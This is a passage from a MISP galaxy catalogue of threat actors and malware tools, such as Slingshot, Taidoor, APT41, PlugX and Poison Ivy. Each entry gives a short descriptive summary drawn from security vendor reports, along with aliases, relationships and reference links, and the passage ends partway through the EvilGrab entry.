While analysing an incident which involved a suspected keylogger, we identified a malicious library able to interact with a virtual file system, which is usually the sign of an advanced APT actor. This turned out to be a malicious loader internally named ‘Slingshot’, part of a new, and highly sophisticated attack platform that rivals Project Sauron and Regin in complexity. While for most victims the infection vector for Slingshot remains unknown, we were able to find several cases where the attackers got access to MikroTik routers and placed a component downloaded by Winbox Loader, a management suite for MikroTik routers. In turn, this infected the administrator of the router. We believe this cluster of activity started in at least 2012 and was still active at the time of this analysis (February 2018).
The tag is: misp-galaxy:threat-actor="Slingshot"
Links |
Taidoor
The Taidoor attackers have been actively engaging in targeted attacks since at least March 4, 2009. Despite some exceptions, the Taidoor campaign often used Taiwanese IP addresses as C&C servers and email addresses to send out socially engineered emails with malware as attachments. One of the primary targets of the Taidoor campaign appeared to be the Taiwanese government. The attackers spoofed Taiwanese government email addresses to send out socially engineered emails in the Chinese language that typically leveraged Taiwan-themed issues. The attackers actively sent out malicious documents and maintained several IP addresses for command and control. As part of their social engineering ploy, the Taidoor attackers attach a decoy document to their emails that, when opened, displays the contents of a legitimate document but executes a malicious payload in the background. We were only able to gather a limited amount of information regarding the Taidoor attackers’ activities after they have compromised a target. We did, however, find that the Taidoor malware allowed attackers to operate an interactive shell on compromised computers and to upload and download files. In order to determine the operational capabilities of the attackers behind the Taidoor campaign, we monitored a compromised honeypot. The attackers issued out some basic commands in an attempt to map out the extent of the network compromise but quickly realized that the honeypot was not an intended targeted and so promptly disabled the Taidoor malware running on it. This indicated that while Taidoor malware were more widely distributed compared with those tied to other targeted campaigns, the attackers could quickly assess their targets and distinguish these from inadvertently compromised computers and honeypots.
The tag is: misp-galaxy:threat-actor="Taidoor"
Links |
TEMP.Veles
TEMP.Veles is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.
The tag is: misp-galaxy:threat-actor="TEMP.Veles"
TEMP.Veles is also known as:
-
Xenotime
Links |
https://dragos.com/resource/trisis-analyzing-safety-system-targeting-malware/ |
WindShift
In August of 2018, DarkMatter released a report entitled “In the Trails of WINDSHIFT APT”, which unveiled a threat actor with TTPs very similar to those of Bahamut. Subsequently, two additional articles were released by Objective-See which provide an analysis of some validated WINDSHIFT samples targeting OSX systems. Pivoting on specific file attributes and infrastructure indicators, Unit 42 was able to identify and correlate additional attacker activity and can now provide specific details on a targeted WINDSHIFT attack as it unfolded at a Middle Eastern government agency.
The tag is: misp-galaxy:threat-actor="WindShift"
Links |
[Unnamed group]
Over the last few weeks, several significant leaks regarding a number of Iranian APTs took place. After analyzing and investigating the documents we conclude that they are authentic. Consequently, this causes considerable harm to the groups and their operation. The identity of the actor behind the leak is currently unknown, however based on the scope and the quality of the exposed documents and information, it appears that they are professional and highly capable. This leak will likely hamstring the groups' operation in the near future. Accordingly, in our assessment this will minimize the risk of potential attacks in the next few months and possibly even year. Note -most of the leaks are posted on Telegram channels that were created specifically for this purpose. Below are the three main Telegram groups on which the leaks were posted: Lab Dookhtegam pseudonym ("The people whose lips are stitched and sealed" –translation from Persian) –In this channel attack tools attributed to the group 'OilRig' were leaked; including a webshell that was inserted into the Technion, various tools that were used for DNS attacks, and more. Green Leakers–In this channel attack tools attributed to the group 'MuddyWatter' were leaked. The group’s name and its symbol are identified with the "green movement", which led the protests in Iran after the Presidential elections in 2009. These protests were heavily repressed by the revolutionary guards (IRGC) Black Box–Unlike the previous two channels this has been around for a long time. On Friday May 5th, dozens of confidential documents labeled as "secret" (a high confidentiality level in Iran, one before the highest -top secret) were posted on this channel. The documents were related to Iranian attack groups' activity.
The tag is: misp-galaxy:threat-actor="[Unnamed group]"
Links |
Dungeon Spider
DUNGEON SPIDER is a criminal group operating the ransomware most commonly known as Locky, which has been active since February 2016 and was last observed in late 2017. Locky is a ransomware tool that encrypts files using a combination of cryptographic algorithms: RSA with a key size of 2,048 bits, and AES with a key size of 128 bits. Locky targets a large number of file extensions and is able to encrypt data on shared network drives. In an attempt to further impact victims and prevent file recovery, Locky deletes all of the Shadow Volume Copies on the machine. DUNGEON SPIDER primarily relies on broad spam campaigns with malicious attachments for distribution. Locky is the community/industry name associated with this actor.
The tag is: misp-galaxy:threat-actor="Dungeon Spider"
Links |
Fxmsp
Throughout 2017 and 2018, Fxmsp established a network of trusted proxy resellers to promote their breaches on the criminal underground. Some of the known Fxmsp TTPs included accessing network environments via externally available remote desktop protocol (RDP) servers and exposed active directory. Most recently, the actor claimed to have developed a credential-stealing botnet capable of infecting high-profile targets in order to exfiltrate sensitive usernames and passwords. Fxmsp has claimed that developing this botnet and improving its capabilities for stealing information from secured systems is their main goal.
The tag is: misp-galaxy:threat-actor="Fxmsp"
Links |
Gnosticplayers
The hacker said that he put up the data for sale mainly because these companies had failed to protect passwords with strong encryption algorithms like bcrypt. Most of the hashed passwords the hacker put up for sale today can cracked with various levels of difficulty --but they can be cracked. "I got upset because I feel no one is learning," the hacker told ZDNet in an online chat earlier today. "I just felt upset at this particular moment, because seeing this lack of security in 2019 is making me angry." In a conversation with ZDNet last month, the hacker told us he wanted to hack and put up for sale more than one billion records and then retire and disappear with the money. But in a conversation today, the hacker says this is not his target anymore, as he learned that other hackers have already achieved the same goal before him. Gnosticplayers also revealed that not all the data he obtained from hacked companies had been put up for sale. Some companies gave into extortion demands and paid fees so breaches would remain private. "I came to an agreement with some companies, but the concerned startups won’t see their data for sale," he said. "I did it that’s why I can’t publish the rest of my databases or even name them."
The tag is: misp-galaxy:threat-actor="Gnosticplayers"
Links |
https://www.theregister.co.uk/2019/02/11/620_million_hacked_accounts_dark_web/ |
Hacking Team
The many 0-days that had been collected by Hacking Team and which became publicly available during the breach of their organization in 2015, have been used by several APT groups since. Since being founded in 2003, the Italian spyware vendor Hacking Team gained notoriety for selling surveillance tools to governments and their agencies across the world. The capabilities of its flagship product, the Remote Control System (RCS), include extracting files from a targeted device, intercepting emails and instant messaging, as well as remotely activating a device’s webcam and microphone. The company has been criticized for selling these capabilities to authoritarian governments – an allegation it has consistently denied. When the tables turned in July 2015, with Hacking Team itself suffering a damaging hack, the reported use of RCS by oppressive regimes was confirmed. With 400GB of internal data – including the once-secret list of customers, internal communications, and spyware source code – leaked online, Hacking Team was forced to request its customers to suspend all use of RCS, and was left facing an uncertain future. Following the hack, the security community has been keeping a close eye on the company’s efforts to get back on its feet. The first reports suggesting Hacking Team’s resumed operations came six months later – a new sample of Hacking Team’s Mac spyware was apparently in the wild. A year after the breach, an investment by a company named Tablem Limited brought changes to Hacking Team’s shareholder structure, with Tablem Limited taking 20% of Hacking Team’s shareholding. Tablem Limited is officially based in Cyprus; however, recent news suggests it has ties to Saudi Arabia.
The tag is: misp-galaxy:threat-actor="Hacking Team"
Links |
https://www.welivesecurity.com/2018/03/09/new-traces-hacking-team-wild/ |
https://www.vice.com/en_us/article/gvye3m/spy-tech-company-hacking-team-gets-hacked |
OurMine
OurMine is known for celebrity internet accounts, often causing cyber vandalism, to advertise their commercial services. (Trend Micro) In light of the recent report detailing its willingness to pay US$250,000 in exchange for the 1.5 terabytes’ worth of data swiped by hackers from its servers, HBO finds itself dealing with yet another security breach. Known for hijacking prominent social media accounts, the self-styled white hat hacking group OurMine took over a number of verified Twitter and Facebook accounts belonging to the cable network. These include accounts for HBO shows, such as “Game of Thrones,” “Girls,” and “Ballers.” This is not the first time that OurMine has claimed responsibility for hacking high- profile social networking accounts. Last year, the group victimized Marvel, The New York Times, and even the heads of some of the biggest technology companies in the world. Mark Zuckerberg, Jack Dorsey, Sundar Pichai, and Daniel Ek — the CEOs of Facebook, Twitter, Google and Spotify, respectively — have also fallen victim to the hackers, dispelling the notion that a career in software and technology exempts one from being compromised.
The tag is: misp-galaxy:threat-actor="OurMine"
Links |
https://www.grahamcluley.com/despite-appearances-wikileaks-wasnt-hacked/ |
Pacha Group
Antd is a miner found in the wild on September 18, 2018. Recently we discovered that the authors from Antd are actively delivering newer campaigns deploying a broad number of components, most of them completely undetected and operating within compromised third party Linux servers. Furthermore, we have observed that some of the techniques implemented by this group are unconventional, and there is an element of sophistication to them. We believe the authors behind this malware are from Chinese origin. We have labeled the undetected Linux.Antd variants, Linux.GreedyAntd and classified the threat actor as Pacha Group.
The tag is: misp-galaxy:threat-actor="Pacha Group"
Links |
https://www.intezer.com/blog-technical-analysis-pacha-group/ |
https://www.intezer.com/blog-technical-analysis-cryptocurrency-mining-war-on-the-cloud/ |
Rocke
This threat actor initially came to our attention in April 2018, leveraging both Western and Chinese Git repositories to deliver malware to honeypot systems vulnerable to an Apache Struts vulnerability. In late July, we became aware that the same actor was engaged in another similar campaign. Through our investigation into this new campaign, we were able to uncover more details about the actor.
The tag is: misp-galaxy:threat-actor="Rocke"
[Vault 7/8]
An unnamed source leaked almost 10,000 documents describing a large number of 0-day vulnerabilities, methodologies and tools that had been collected by the CIA. This leaking was done through WikiLeaks, since March 2017. In weekly publications, the dumps were said to come from Vault 7 and later Vault 8, until his arrest in 2018. Most of the published vulnerabilities have since been fixed by the respective vendors, by many have been used by other threat actors. This actor turned out to be a former CIA software engineer. (WikiLeaks) Today, Tuesday 7 March 2017, WikiLeaks begins its new series of leaks on the U.S. Central Intelligence Agency. Code-named "Vault 7" by WikiLeaks, it is the largest ever publication of confidential documents on the agency. The first full part of the series, "Year Zero", comprises 8,761 documents and files from an isolated, high-security network situated inside the CIA’s Center for Cyber Intelligence in Langley, Virgina. It follows an introductory disclosure last month of CIA targeting French political parties and candidates in the lead up to the 2012 presidential election. Recently, the CIA lost control of the majority of its hacking arsenal including malware, viruses, trojans, weaponized "zero day" exploits, malware remote control systems and associated documentation. This extraordinary collection, which amounts to more than several hundred million lines of code, gives its possessor the entire hacking capacity of the CIA. The archive appears to have been circulated among former U.S. government hackers and contractors in an unauthorized manner, one of whom has provided WikiLeaks with portions of the archive. "Year Zero" introduces the scope and direction of the CIA’s global covert hacking program, its malware arsenal and dozens of "zero day" weaponized exploits against a wide range of U.S. and European company products, include Apple’s iPhone, Google’s Android and Microsoft’s Windows and even Samsung TVs, which are turned into covert microphones.
The tag is: misp-galaxy:threat-actor="[Vault 7/8]"
Links |
Zombie Spider
CrowdStrike Intelligence has recently observed PINCHY SPIDER affiliates deploying GandCrab ransomware in enterprise environments, using lateral movement techniques and tooling commonly associated with nation-state adversary groups and penetration testing teams. This change in tactics makes PINCHY SPIDER and its affiliates the latest eCrime adversaries to join the growing trend of targeted, low-volume/high-return ransomware deployments known as “big game hunting.” PINCHY SPIDER is the criminal group behind the development of the ransomware most commonly known as GandCrab, which has been active since January 2018. PINCHY SPIDER sells access to use GandCrab ransomware under a partnership program with a limited number of accounts. The program is operated with a 60-40 split in profits (60 percent to the customer), as is common among eCrime actors, but PINCHY SPIDER is also willing to negotiate up to a 70-30 split for “sophisticated” customers.
The tag is: misp-galaxy:threat-actor="Zombie Spider"
ViceLeaker
In May 2018, we discovered a campaign targeting dozens of mobile Android devices belonging to Israeli citizens. Kaspersky spyware sensors caught the signal of an attack from the device of one of the victims; and a hash of the APK involved (Android application) was tagged in our sample feed for inspection. Once we looked into the file, we quickly found out that the inner-workings of the APK included a malicious payload, embedded in the original code of the application. This was an original spyware program, designed to exfiltrate almost all accessible information. During the course of our research, we noticed that we were not the only ones to have found the operation. Researchers from Bitdefender also released an analysis of one of the samples in a blogpost. Although something had already been published, we decided to do something different with the data we acquired. The following month, we released a private report on our Threat Intelligence Portal to alert our clients about this newly discovered operation and began writing YARA rules in order to catch more samples. We decided to call the operation “ViceLeaker”, because of strings and variables in its code.
The tag is: misp-galaxy:threat-actor="ViceLeaker"
Links |
https://securelist.com/fanning-the-flames-viceleaker-operation/90877/ |
SWEED
Cisco Talos recently identified a large number of ongoing malware distribution campaigns linked to a threat actor we’re calling "SWEED," including such notable malware as Formbook, Lokibot and Agent Tesla. Based on our research, SWEED — which has been operating since at least 2017 — primarily targets their victims with stealers and remote access trojans. SWEED remains consistent across most of their campaigns in their use of spear-phishing emails with malicious attachments. While these campaigns have featured a myriad of different types of malicious documents, the actor primarily tries to infect its victims with a packed version of Agent Tesla — an information stealer that’s been around since at least 2014. The version of Agent Tesla that SWEED is using differs slightly from what we’ve seen in the past in the way that it is packed, as well as how it infects the system. In this post, we’ll run down each campaign we’re able to connect to SWEED, and talk about some of the actor’s tactics, techniques and procedures (TTPs).
The tag is: misp-galaxy:threat-actor="SWEED"
Links |
https://blog.talosintelligence.com/2019/07/sweed-agent-tesla.html |
TA428
Proofpoint researchers have identified a targeted APT campaign that utilized malicious RTF documents to deliver custom malware to unsuspecting victims. We dubbed this campaign “Operation LagTime IT” based on entities that were targeted and the distinctive domains registered to C&C IP infrastructure. Beginning in early 2019, these threat actors targeted a number of government agencies in East Asia overseeing government information technology, domestic affairs, foreign affairs, economic development, and political processes. We determined that the infection vector observed in this campaign was spear phishing, with emails originating from both free email accounts and compromised user accounts. Attackers relied on Microsoft Equation Editor exploit CVE-2018-0798 to deliver a custom malware that Proofpoint researchers have dubbed Cotx RAT. Additionally, this APT group utilizes Poison Ivy payloads that share overlapping command and control (C&C) infrastructure with the newly identified Cotx campaigns. Based on infrastructure overlaps, post-exploitation techniques, and historic TTPs utilized in this operation, Proofpoint analysts attribute this activity to the Chinese APT group tracked internally as TA428. Researchers believe that this activity has an operational and tactical resemblance to the Maudi Surveillance Operation which was previously reported in 2013.
The tag is: misp-galaxy:threat-actor="TA428"
Links |
LYCEUM
The tag is: misp-galaxy:threat-actor="LYCEUM"
Links |
https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign |
APT41
APT41 is a prolific cyber threat group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity potentially outside of state control.
The tag is: misp-galaxy:threat-actor="APT41"
Links |
SectorJ04
SectorJ04 is a Russian-based cybercrime group that began operating about five years ago and conducted hacking activities for financial profit using malware such as banking trojans and ransomware against national and industrial sectors located across Europe, North America and West Africa. In 2019, the SectorJ04 group expanded its hacking activities to cover various industrial sectors located across Southeast Asia and East Asia, and is changing the pattern of their attacks from targeted attacks to searching for random victims. This report includes details related to the major hacking targets of the SectorJ04 group in 2019, how those targets were hacked, characteristics of their hacking activities this year and recent cases of the SectorJ04 group’s hacking.
The tag is: misp-galaxy:threat-actor="SectorJ04"
Tortoiseshell
A previously undocumented attack group is using both custom and off-the-shelf malware to target IT providers in Saudi Arabia in what appear to be supply chain attacks with the end goal of compromising the IT providers’ customers. The group, which we are calling Tortoiseshell, has been active since at least July 2018. Symantec has identified a total of 11 organizations hit by the group, the majority of which are based in Saudi Arabia. In at least two organizations, evidence suggests that the attackers gained domain admin-level access.
The tag is: misp-galaxy:threat-actor="Tortoiseshell"
Links |
https://www.symantec.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain |
POISON CARP
Between November 2018 and May 2019, senior members of Tibetan groups received malicious links in individually tailored WhatsApp text exchanges with operators posing as NGO workers, journalists, and other fake personas. The links led to code designed to exploit web browser vulnerabilities to install spyware on iOS and Android devices, and in some cases to OAuth phishing pages. This campaign was carried out by what appears to be a single operator that we call POISON CARP.
The tag is: misp-galaxy:threat-actor="POISON CARP"
POISON CARP is also known as:
-
Evil Eye
Links |
https://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/ |
LookBack
Early in August 2019, Proofpoint described what appeared to be state-sponsored activity targeting the US utilities sector with malware that we dubbed “Lookback”. Between August 21 and August 29, 2019, several spear phishing emails were identified targeting additional US companies in the utilities sector. The phishing emails originated from what appears to be an actor-controlled domain: globalenergycertification[.]net. This domain, like those used in previous campaigns, impersonated a licensing body related to the utilities sector. In this case, it masqueraded as the legitimate domain for Global Energy Certification (“GEC”). The emails include a GEC examination-themed body and a malicious Microsoft Word attachment that uses macros to install and run LookBack. (Note confusion between Malware, Campaign and ThreatActor)
The tag is: misp-galaxy:threat-actor="LookBack"
Links |
Operation Soft Cell
In 2018, the Cybereason Nocturnus team identified an advanced, persistent attack targeting global telecommunications providers carried out by a threat actor using tools and techniques commonly associated with Chinese-affiliated threat actors, such as APT10. This multi-wave attacks focused on obtaining data of specific, high-value targets and resulted in a complete takeover of the network.
The tag is: misp-galaxy:threat-actor="Operation Soft Cell"
Operation Soft Cell has relationships with:
-
suspected-link: misp-galaxy:threat-actor="Stone Panda" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:microsoft-activity-group="GALLIUM" with estimative-language:likelihood-probability="likely"
Links |
Operation WizardOpium
We are calling these attacks Operation WizardOpium. So far, we have been unable to establish a definitive link with any known threat actors. There are certain very weak code similarities with Lazarus attacks, although these could very well be a false flag. The profile of the targeted website is more in line with earlier DarkHotel attacks that have recently deployed similar false flag attacks.
The tag is: misp-galaxy:threat-actor="Operation WizardOpium"
Links |
https://securelist.com/chrome-0-day-exploit-cve-2019-13720-used-in-operation-wizardopium/94866/ |
Calypso group
For the first time, the activity of the Calypso group was detected by specialists of PT Expert Security Center in March 2019, during the work to detect cyber threats. As a result, many malware samples of this group were obtained, affected organizations and control servers of intruders were identified. According to our data, the group has been active since at least September 2016. The main goal of the group is to steal confidential data, the main victims are government agencies from Brazil, India, Kazakhstan, Russia, Thailand, Turkey. Our data suggest that the group has Asian roots. Description translated from Russian.
The tag is: misp-galaxy:threat-actor="Calypso group"
Calypso group is also known as:
-
Calypso
-
Calypso APT
Links |
https://www.ptsecurity.com/upload/corporate/ru-ru/analytics/calypso-apt-2019-rus.pdf |
TA2101
Proofpoint researchers detected campaigns from a relatively new actor, tracked internally as TA2101, targeting German companies and organizations to deliver and install backdoor malware. The actor initiated their campaigns impersonating the Bundeszentralamt fur Steuern, the German Federal Ministry of Finance, with lookalike domains, verbiage, and stolen branding in the emails. For their campaigns in Germany, the actor chose Cobalt Strike, a commercially licensed software tool that is generally used for penetration testing and emulates the type of backdoor framework used by Metasploit, a similar penetration testing tool. Proofpoint researchers have also observed this actor distributing Maze ransomware, employing similar social engineering techniques to those it uses for Cobalt Strike, while also targeting organizations in Italy and impersonating the Agenzia Delle Entrate, the Italian Revenue Agency. We have also recently observed the actor targeting organizations in the United States using the IcedID banking Trojan while impersonating the United States Postal Service (USPS).
The tag is: misp-galaxy:threat-actor="TA2101"
Links |
APT-C-34
As reported by ZDNet, Chinese cyber-security vendor Qihoo 360 published a report on 2019-11-29 exposing an extensive hacking operation targeting the country of Kazakhstan. Targets included individuals and organizations involving all walks of life, such as government agencies, military personnel, foreign diplomats, researchers, journalists, private companies, the educational sector, religious figures, government dissidents, and foreign diplomats alike. The campaign, Qihoo 360 said, was broad, and appears to have been carried by a threat actor with considerable resources, and one who had the ability to develop their private hacking tools, buy expensive spyware off the surveillance market, and even invest in radio communications interception hardware.
The tag is: misp-galaxy:threat-actor="APT-C-34"
APT-C-34 is also known as:
-
Golden Falcon
Links |
https://www.zdnet.com/article/extensive-hacking-operation-discovered-in-kazakhstan/ |
BRONZE PRESIDENT
The activities of some non-governmental organizations (NGOs) challenge governments on politically sensitive issues such as social, humanitarian, and environmental policies. As a result, these organizations are often exposed to increased government-directed threats aimed at monitoring their activities, discrediting their work, or stealing their intellectual property. BRONZE PRESIDENT is a likely People’s Republic of China (PRC)-based targeted cyberespionage group that uses both proprietary and publicly available tools to target NGO networks. Secureworks® Counter Threat Unit (CTU) researchers have observed BRONZE PRESIDENT activity since mid-2018 but identified artifacts suggesting that the threat actors may have been conducting network intrusions as far back as 2014.
The tag is: misp-galaxy:threat-actor="BRONZE PRESIDENT"
Links |
https://www.secureworks.com/research/bronze-president-targets-ngos |
SideWinder
An actor mainly targeting Pakistan military targets, active since at least 2012. We have low confidence that this malware might be authored by an Indian company. To spread the malware, they use unique implementations to leverage the exploits of known vulnerabilities (such as CVE-2017-11882) and later deploy a Powershell payload in the final stages.
The tag is: misp-galaxy:threat-actor="SideWinder"
Links |
Operation Wocao
Operation Wocao (我操, “Wǒ cāo”, used as “shit” or “damn”) is the name that Fox-IT uses to describe the hacking activities of a Chinese based hacking group. This report details the profile of a publicly underreported threat actor that Fox-IT has dealt with over the past two years. Fox-IT assesses with high confidence that the actor is a Chinese group and that they are likely working to support the interests of the Chinese government and are tasked with obtaining information for espionage purposes. With medium confidence, Fox-IT assesses that the tools, techniques and procedures are those of the actor referred to as APT20 by industry partners. We have identified victims of this actor in more than 10 countries, in government entities, managed service providers and across a wide variety of industries, including Energy, Health Care and High-Tech.
The tag is: misp-galaxy:threat-actor="Operation Wocao"
Links |
Budminer
Based on the evidence we have presented Symantec attributed the activity involving theDripion malware to the Budminer advanced threat group. While we have not seen newcampaigns using Taidoor malware since 2014, we believe the Budminer group has changedtactics to avoid detection after being outed publicly in security white papers and blogs over thepast few years.
The tag is: misp-galaxy:threat-actor="Budminer"
Budminer is also known as:
-
Budminer cyberespionage group
Links |
https://www.symantec.com/connect/blogs/taiwan-targeted-new-cyberespionage-back-door-trojan |
Attor
Adversary group targeting diplomatic missions and governmental organisations.
The tag is: misp-galaxy:threat-actor="Attor"
Links |
https://www.welivesecurity.com/2019/10/10/eset-discovers-attor-spy-platform |
DePriMon
DePriMon is an unusually advanced downloader whose developers have put extra effort into setting up the architecture and crafting the critical components.
The tag is: misp-galaxy:threat-actor="DePriMon"
Links |
https://www.welivesecurity.com/2019/11/21/deprimon-default-print-monitor-malicious-downloader |
APT-C-12
According to 360 TIC the actor has carried out continuous cyber espionage activities since 2011 on key units and departments of the Chinese government, military industry, scientific research, and finance. The organization focuses on information related to the nuclear industry and scientific research. The targets were mainly concentrated in mainland China…[M]ore than 670 malware samples have been collected from the group, including more than 60 malicious plugins specifically for lateral movement; more than 40 C2 domain names and IPs related to the organization have also been discovered.
The tag is: misp-galaxy:threat-actor="APT-C-12"
APT-C-12 is also known as:
-
Sapphire Mushroom
-
Blue Mushroom
-
NuclearCrisis
Links |
https://bitofhex.com/2020/02/10/sapphire-mushroom-lnk-files/ |
InvisiMole
Adversary group targeting diplomatic missions, governmental and military organisations, mainly in Ukraine.
The tag is: misp-galaxy:threat-actor="InvisiMole"
Links |
https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/ |
Tool
threat-actor-tools is an enumeration of tools used by adversaries. The list includes malware but also common software regularly used by the adversaries..
Tool is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Alexandre Dulaunoy - Florian Roth - Timo Steffens - Christophe Vandeplas - Dennis Rand - raw-data
Tinba
Banking Malware
The tag is: misp-galaxy:tool="Tinba"
Tinba is also known as:
-
Hunter
-
Zusy
-
TinyBanker
Tinba has relationships with:
-
similar: misp-galaxy:exploit-kit="Hunter" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:banker="Tinba" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Tinba" with estimative-language:likelihood-probability="likely"
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/the-tinbatinybanker-malware/ |
PlugX
Malware
The tag is: misp-galaxy:tool="PlugX"
PlugX is also known as:
-
Backdoor.FSZO-5117
-
Trojan.Heur.JP.juW@ayZZvMb
-
Trojan.Inject1.6386
-
Korplug
-
Agent.dhwf
PlugX has relationships with:
-
similar: misp-galaxy:rat="PlugX" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="PlugX" with estimative-language:likelihood-probability="likely"
Links |
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/112/pulling-the-plug-on-plugx |
MSUpdater
Trojan (RAT) linked to current targeted attacks and others dating back to at least early 2009
The tag is: misp-galaxy:tool="MSUpdater"
Links |
https://www.zscaler.com/pdf/whitepapers/msupdater_trojan_whitepaper.pdfx |
Lazagne
A password sthealing tool regularly used by attackers
The tag is: misp-galaxy:tool="Lazagne"
Links |
Poison Ivy
Poison Ivy is a RAT which was freely available and first released in 2005.
The tag is: misp-galaxy:tool="Poison Ivy"
Poison Ivy is also known as:
-
Backdoor.Win32.PoisonIvy
-
Gen:Trojan.Heur.PT
Poison Ivy has relationships with:
-
used-by: misp-galaxy:threat-actor="Anchor Panda" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:rat="PoisonIvy" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Poison Ivy" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="poisonivy" with estimative-language:likelihood-probability="likely"
Links |
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf |
https://www.f-secure.com/v-descs/backdoor_w32_poisonivy.shtml |
SPIVY
In March 2016, Unit 42 observed this new Poison Ivy variant we’ve named SPIVY being deployed via weaponized documents leveraging CVE-2015-2545.
The tag is: misp-galaxy:tool="SPIVY"
Links |
Torn RAT
The tag is: misp-galaxy:tool="Torn RAT"
Torn RAT is also known as:
-
Anchor Panda
Torn RAT has relationships with:
-
used-by: misp-galaxy:threat-actor="Anchor Panda" with estimative-language:likelihood-probability="likely"
Links |
OzoneRAT
The tag is: misp-galaxy:tool="OzoneRAT"
OzoneRAT is also known as:
-
Ozone RAT
-
ozonercp
Links |
https://blog.fortinet.com/2016/08/29/german-speakers-targeted-by-spam-leading-to-ozone-rat |
ZeGhost
ZeGhots is a RAT which was freely available and first released in 2014.
The tag is: misp-galaxy:tool="ZeGhost"
ZeGhost is also known as:
-
BackDoor-FBZT!52D84425CDF2
-
Trojan.Win32.Staser.ytq
-
Win32/Zegost.BW
Links |
Elise Backdoor
Trojan (RAT) linked to current targeted attacks and others dating back to at least early 2009
The tag is: misp-galaxy:tool="Elise Backdoor"
Elise Backdoor is also known as:
-
Elise
Elise Backdoor has relationships with:
-
similar: misp-galaxy:mitre-malware="Elise - S0081" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Elise" with estimative-language:likelihood-probability="likely"
Links |
Trojan.Laziok
A new information stealer, Trojan.Laziok, acts as a reconnaissance tool allowing attackers to gather information and tailor their attack methods for each compromised computer.
The tag is: misp-galaxy:tool="Trojan.Laziok"
Trojan.Laziok is also known as:
-
Laziok
Trojan.Laziok has relationships with:
-
similar: misp-galaxy:malpedia="Laziok" with estimative-language:likelihood-probability="likely"
Links |
http://www.symantec.com/connect/blogs/new-reconnaissance-threat-trojanlaziok-targets-energy-sector |
Slempo
Android-based malware
The tag is: misp-galaxy:tool="Slempo"
Slempo is also known as:
-
GM-Bot
-
SlemBunk
-
Bankosy
-
Acecard
Slempo has relationships with:
-
similar: misp-galaxy:android="GM Bot" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:android="Bankosy" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Slempo" with estimative-language:likelihood-probability="likely"
Links |
https://securityintelligence.com/android-malware-about-to-get-worse-gm-bot-source-code-leaked/ |
PWOBot
We have discovered a malware family named ‘PWOBot’ that is fairly unique because it is written entirely in Python, and compiled via PyInstaller to generate a Microsoft Windows executable. The malware has been witnessed affecting a number of Europe-based organizations, particularly in Poland. Additionally, the malware is delivered via a popular Polish file-sharing web service.
The tag is: misp-galaxy:tool="PWOBot"
PWOBot is also known as:
-
PWOLauncher
-
PWOHTTPD
-
PWOKeyLogger
-
PWOMiner
-
PWOPyExec
-
PWOQuery
Links |
Lost Door RAT
We recently came across a cyber attack that used a remote access Trojan (RAT) called Lost Door, a tool currently offered on social media sites. What also struck us the most about this RAT (detected as BKDR_LODORAT.A) is how it abuses the Port Forward feature in routers.
The tag is: misp-galaxy:tool="Lost Door RAT"
Lost Door RAT is also known as:
-
LostDoor RAT
-
BKDR_LODORAT
Links |
njRAT
The tag is: misp-galaxy:tool="njRAT"
njRAT is also known as:
-
Bladabindi
-
Jorik
njRAT has relationships with:
-
similar: misp-galaxy:malpedia="NjRAT" with estimative-language:likelihood-probability="likely"
Links |
http://www.fidelissecurity.com/files/files/FTA_1009-njRAT_Uncovered_rev2.pdf |
https://github.com/kevthehermit/RATDecoders/blob/master/yaraRules/njRat.yar |
NanoCoreRAT
The tag is: misp-galaxy:tool="NanoCoreRAT"
NanoCoreRAT is also known as:
-
NanoCore
-
Nancrat
-
Zurten
-
Atros2.CKPN
NanoCoreRAT has relationships with:
-
similar: misp-galaxy:rat="NanoCore" with estimative-language:likelihood-probability="likely"
Links |
http://www.symantec.com/connect/blogs/nanocore-another-rat-tries-make-it-out-gutter |
Sakula
The tag is: misp-galaxy:tool="Sakula"
Sakula is also known as:
-
Sakurel
Sakula has relationships with:
-
similar: misp-galaxy:rat="Sakula" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-malware="Sakula - S0074" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Sakula RAT" with estimative-language:likelihood-probability="likely"
Links |
Hi-ZOR
The tag is: misp-galaxy:tool="Hi-ZOR"
Links |
http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html |
Derusbi
The tag is: misp-galaxy:tool="Derusbi"
Derusbi is also known as:
-
TROJ_DLLSERV.BE
Derusbi has relationships with:
-
similar: misp-galaxy:mitre-malware="Derusbi - S0021" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Derusbi" with estimative-language:likelihood-probability="likely"
Links |
http://www.novetta.com/wp-content/uploads/2014/11/Derusbi.pdf |
https://www.rsaconference.com/writable/presentations/file_upload/hta-w02-dissecting-derusbi.pdf |
EvilGrab
The tag is: misp-galaxy:tool="EvilGrab"
EvilGrab is also known as:
-
BKDR_HGDER
-
BKDR_EVILOGE
-
BKDR_NVICM
-
Wmonder
EvilGrab has relationships with:
-
